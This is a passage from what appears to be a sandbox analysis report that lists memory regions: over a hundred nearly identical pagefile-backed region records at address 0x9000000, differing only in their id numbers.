	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3264
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3265
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3266
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3267
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3268
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3269
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3270
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3271
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3272
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3273
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3274
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3275
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3276
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3277
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3278
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3279
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3280
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3281
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3282
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3283
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3284
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3285
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3286
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3287
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3288
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3289
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3290
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3291
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3292
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3293
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3294
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3295
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3296
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3297
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3298
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3299
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3300
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3301
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3302
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3303
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3304
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3305
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3306
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3307
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3308
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3309
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3310
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3311
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3312
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3313
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3314
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3315
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3316
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3317
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3318
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3319
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3320
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3321
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3322
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3323
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3324
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3325
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3326
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3327
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3328
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3329
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3330
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3331
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3332
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3333
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3334
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3335
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3336
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3337
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3338
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3339
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3340
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3341
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3342
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3343
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3344
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3345
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3346
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3347
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3348
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3349
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3350
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3351
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3352
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3353
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3354
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3355
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3356
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3357
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3358
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3359
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3360
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3361
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3362
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3363
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3364
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3365
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3366
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3367
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3368
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3369
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3370
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3371
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3372
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3373
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3374
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3375
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3376
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3377
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3378
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3379
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3380
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3381
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3382
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3383
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3384
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3385
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3386
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3387
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3388
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3389
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3390
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3391
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3392
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3393
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3394
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3395
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3396
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3397
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3398
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3399
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3400
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3401
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3402
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3403
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3404
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3405
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3406
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3407
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3408
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3409
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3410
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3411
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3412
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3415
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3416
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3417
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3418
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3419
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3420
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3421
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3422
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3423
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3424
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3425
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3426
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
